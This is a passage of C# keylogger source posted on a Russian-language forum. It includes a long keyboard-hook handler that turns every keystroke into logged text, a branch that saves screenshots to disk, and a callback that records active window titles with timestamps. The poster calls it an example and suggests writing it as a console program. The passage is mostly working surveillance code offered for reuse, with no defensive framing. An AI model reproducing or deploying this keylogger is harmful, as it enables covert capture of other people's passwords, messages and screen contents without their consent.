Shell.Text += "a";
}
else if (key == KeyboardHook.VKeys.KEY_B)
{
Shell.Text += "b";
}
else if (key == KeyboardHook.VKeys.KEY_C)
{
Shell.Text += "c";
}
else if (key == KeyboardHook.VKeys.KEY_D)
{
Shell.Text += "d";
}
else if (key == KeyboardHook.VKeys.KEY_E)
{
Shell.Text += "e";
}
else if (key == KeyboardHook.VKeys.KEY_F)
{
Shell.Text += "f";
}
else if (key == KeyboardHook.VKeys.KEY_G)
{
Shell.Text += "g";
}
else if (key == KeyboardHook.VKeys.KEY_H)
{
Shell.Text += "h";
}
else if (key == KeyboardHook.VKeys.KEY_I)
{
Shell.Text += "i";
}
else if (key == KeyboardHook.VKeys.KEY_J)
{
Shell.Text += "j";
}
else if (key == KeyboardHook.VKeys.KEY_K)
{
Shell.Text += "k";
}
else if (key == KeyboardHook.VKeys.KEY_L)
{
Shell.Text += "l";
}
else if (key == KeyboardHook.VKeys.KEY_M)
{
Shell.Text += "m";
}
else if (key == KeyboardHook.VKeys.KEY_N)
{
Shell.Text += "n";
}
else if (key == KeyboardHook.VKeys.KEY_O)
{
Shell.Text += "o";
}
else if (key == KeyboardHook.VKeys.KEY_P)
{
Shell.Text += "p";
}
else if (key == KeyboardHook.VKeys.KEY_Q)
{
Shell.Text += "q";
}
else if (key == KeyboardHook.VKeys.KEY_R)
{
Shell.Text += "r";
}
else if (key == KeyboardHook.VKeys.KEY_S)
{
Shell.Text += "s";
}
else if (key == KeyboardHook.VKeys.KEY_T)
{
Shell.Text += "t";
}
else if (key == KeyboardHook.VKeys.KEY_U)
{
Shell.Text += "u";
}
else if (key == KeyboardHook.VKeys.KEY_V)
{
Shell.Text += "v";
}
else if (key == KeyboardHook.VKeys.KEY_W)
{
Shell.Text += "w";
}
else if (key == KeyboardHook.VKeys.KEY_X)
{
Shell.Text += "x";
}
else if (key == KeyboardHook.VKeys.KEY_Y)
{
Shell.Text += "y";
}
else if (key == KeyboardHook.VKeys.KEY_Z)
{
Shell.Text += "z";
}
else if (key == KeyboardHook.VKeys.OEM_PERIOD)
{
Shell.Text += ".";
}
else if (key == KeyboardHook.VKeys.OEM_COMMA)
{
Shell.Text += ",";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.OEM_1)
{
Shell.Text += ";";
}
else if (key == KeyboardHook.VKeys.OEM_2)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_3)
{
Shell.Text += "`";
}
else if (key == KeyboardHook.VKeys.OEM_4)
{
Shell.Text += "[";
}
else if (key == KeyboardHook.VKeys.OEM_5)
{
Shell.Text += "\\";
}
else if (key == KeyboardHook.VKeys.OEM_6)
{
Shell.Text += "]";
}
else if (key == KeyboardHook.VKeys.PACKET)
{
Shell.Text += "=";
}
else if (key == KeyboardHook.VKeys.RETURN)
{
Shell.Text += Environment.NewLine;
}
bool shiftDown2 = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown2)
{
if (key == KeyboardHook.VKeys.SPACE)
{
Shell.Text += " ";
}
else if (key == KeyboardHook.VKeys.KEY_A)
{
Shell.Text += "A";
}
else if (key == KeyboardHook.VKeys.KEY_B)
{
Shell.Text += "B";
}
else if (key == KeyboardHook.VKeys.KEY_C)
{
Shell.Text += "C";
}
else if (key == KeyboardHook.VKeys.KEY_D)
{
Shell.Text += "D";
}
else if (key == KeyboardHook.VKeys.KEY_E)
{
Shell.Text += "E";
}
else if (key == KeyboardHook.VKeys.KEY_F)
{
Shell.Text += "F";
}
else if (key == KeyboardHook.VKeys.KEY_G)
{
Shell.Text += "G";
}
else if (key == KeyboardHook.VKeys.KEY_H)
{
Shell.Text += "H";
}
else if (key == KeyboardHook.VKeys.KEY_I)
{
Shell.Text += "I";
}
else if (key == KeyboardHook.VKeys.KEY_J)
{
Shell.Text += "J";
}
else if (key == KeyboardHook.VKeys.KEY_K)
{
Shell.Text += "K";
}
else if (key == KeyboardHook.VKeys.KEY_L)
{
Shell.Text += "L";
}
else if (key == KeyboardHook.VKeys.KEY_M)
{
Shell.Text += "M";
}
else if (key == KeyboardHook.VKeys.KEY_N)
{
Shell.Text += "N";
}
else if (key == KeyboardHook.VKeys.KEY_O)
{
Shell.Text += "O";
}
else if (key == KeyboardHook.VKeys.KEY_P)
{
Shell.Text += "P";
}
else if (key == KeyboardHook.VKeys.KEY_Q)
{
Shell.Text += "Q";
}
else if (key == KeyboardHook.VKeys.KEY_R)
{
Shell.Text += "R";
}
else if (key == KeyboardHook.VKeys.KEY_S)
{
Shell.Text += "S";
}
else if (key == KeyboardHook.VKeys.KEY_T)
{
Shell.Text += "T";
}
else if (key == KeyboardHook.VKeys.KEY_U)
{
Shell.Text += "U";
}
else if (key == KeyboardHook.VKeys.KEY_V)
{
Shell.Text += "V";
}
else if (key == KeyboardHook.VKeys.KEY_W)
{
Shell.Text += "W";
}
else if (key == KeyboardHook.VKeys.KEY_X)
{
Shell.Text += "X";
}
else if (key == KeyboardHook.VKeys.KEY_Y)
{
Shell.Text += "Y";
}
else if (key == KeyboardHook.VKeys.KEY_Z)
{
Shell.Text += "Z";
}
else if (key == KeyboardHook.VKeys.RETURN)
{
Shell.Text += Environment.NewLine;
}
else if (key == KeyboardHook.VKeys.OEM_4)
{
Shell.Text += "{";
}
else if (key == KeyboardHook.VKeys.OEM_6)
{
Shell.Text += "}";
}
else if (key == KeyboardHook.VKeys.OEM_1)
{
Shell.Text += ":";
}
else if (key == KeyboardHook.VKeys.OEM_COMMA)
{
Shell.Text += "<";
}
else if (key == KeyboardHook.VKeys.OEM_PERIOD)
{
Shell.Text += ">";
}
else if (key == KeyboardHook.VKeys.OEM_2)
{
Shell.Text += "?";
}
else if (key == KeyboardHook.VKeys.OEM_7)
{
Shell.Text += "'";
}
else if (key == KeyboardHook.VKeys.BACK)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.DELETE)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
}
bool shiftDown3 = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown3 == false)
if (key == KeyboardHook.VKeys.KEY_0)
{
Shell.Text += "0";
}
else if (key == KeyboardHook.VKeys.KEY_1)
{
Shell.Text += "1";
}
else if (key == KeyboardHook.VKeys.KEY_2)
{
Shell.Text += "2";
}
else if (key == KeyboardHook.VKeys.KEY_3)
{
Shell.Text += "3";
}
else if (key == KeyboardHook.VKeys.KEY_4)
{
Shell.Text += "4";
}
else if (key == KeyboardHook.VKeys.KEY_5)
{
Shell.Text += "5";
}
else if (key == KeyboardHook.VKeys.KEY_6)
{
Shell.Text += "6";
}
else if (key == KeyboardHook.VKeys.KEY_7)
{
Shell.Text += "7";
}
else if (key == KeyboardHook.VKeys.KEY_8)
{
Shell.Text += "8";
}
else if (key == KeyboardHook.VKeys.KEY_9)
{
Shell.Text += "9";
}
else if (key == KeyboardHook.VKeys.BACK)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.DELETE)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.MULTIPLY)
{
Shell.Text += "*";
}
else if (key == KeyboardHook.VKeys.DIVIDE)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_PLUS)
{
Shell.Text += "=";
}
else if (key == KeyboardHook.VKeys.OEM_7)
{
Shell.Text += "'";
}
else if (key == KeyboardHook.VKeys.DECIMAL)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.SNAPSHOT)
{
try
{
Bitmap printscreen = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics graphics = Graphics.FromImage(printscreen as Image);
graphics.CopyFromScreen(0, 0, 0, 0, printscreen.Size);
printscreen.Save(PathTxt + @"\ScreenShot.jpg", ImageFormat.Jpeg);
graphics.Dispose();
}
catch { }
}
if (Control.IsKeyLocked(Keys.NumLock))
{
if (key == KeyboardHook.VKeys.NUMPAD0)
{
Shell.Text += "0";
}
else if (key == KeyboardHook.VKeys.NUMPAD1)
{
Shell.Text += "1";
}
else if (key == KeyboardHook.VKeys.NUMPAD2)
{
Shell.Text += "2";
}
else if (key == KeyboardHook.VKeys.NUMPAD3)
{
Shell.Text += "3";
}
else if (key == KeyboardHook.VKeys.NUMPAD4)
{
Shell.Text += "4";
}
else if (key == KeyboardHook.VKeys.NUMPAD5)
{
Shell.Text += "5";
}
else if (key == KeyboardHook.VKeys.NUMPAD6)
{
Shell.Text += "6";
}
else if (key == KeyboardHook.VKeys.NUMPAD7)
{
Shell.Text += "7";
}
else if (key == KeyboardHook.VKeys.NUMPAD8)
{
Shell.Text += "8";
}
else if (key == KeyboardHook.VKeys.NUMPAD9)
{
Shell.Text += "9";
}
}
else
{
bool shiftDown4 = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown4)
{
if (key == KeyboardHook.VKeys.KEY_0)
{
Shell.Text += ")";
}
else if (key == KeyboardHook.VKeys.KEY_1)
{
Shell.Text += "!";
}
else if (key == KeyboardHook.VKeys.KEY_2)
{
Shell.Text += "@";
}
else if (key == KeyboardHook.VKeys.KEY_3)
{
Shell.Text += "#";
}
else if (key == KeyboardHook.VKeys.KEY_4)
{
Shell.Text += "$";
}
else if (key == KeyboardHook.VKeys.KEY_5)
{
Shell.Text += "%";
}
else if (key == KeyboardHook.VKeys.KEY_6)
{
Shell.Text += "^";
}
else if (key == KeyboardHook.VKeys.KEY_7)
{
Shell.Text += "&";
}
else if (key == KeyboardHook.VKeys.KEY_8)
{
Shell.Text += "*";
}
else if (key == KeyboardHook.VKeys.KEY_9)
{
Shell.Text += "(";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "_";
}
else if (key == KeyboardHook.VKeys.OEM_3)
{
Shell.Text += "~";
}
else if (key == KeyboardHook.VKeys.OEM_PLUS)
{
Shell.Text += "+";
}
else if (key == KeyboardHook.VKeys.OEM_5)
{
Shell.Text += "|";
}
SW.Close();
}
}
}
}
}
}
catch { }
}
В коде много гмо так что не судите строго ) Дал лишь пример)
А лучше писать всё в консольном варианте.
Дополню:
Вызов Функции активных окон:
public void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread)
{
Shell.Text = Shell.Text + Environment.NewLine + "|| # [ " + GetActiveWindowTitle() + " ]" +
DateTime.Now.ToString(" [ MM.dd.yyyy") + " - " + DateTime.Now.ToString("hh:mm:ss ]") + " # ||" + Environment.NewLine + Environment.NewLine;
}
И в Main
Вызывайте:
dele =
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
WinEventDelegate(WinEventProc);Вот смена языка может нужна будет:
На таймер:
private void LogoText_Tick(object sender, EventArgs e)
{
TXT.Text = language.GetKeyboardLayoutId().ToString();
}
Классы для работы
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!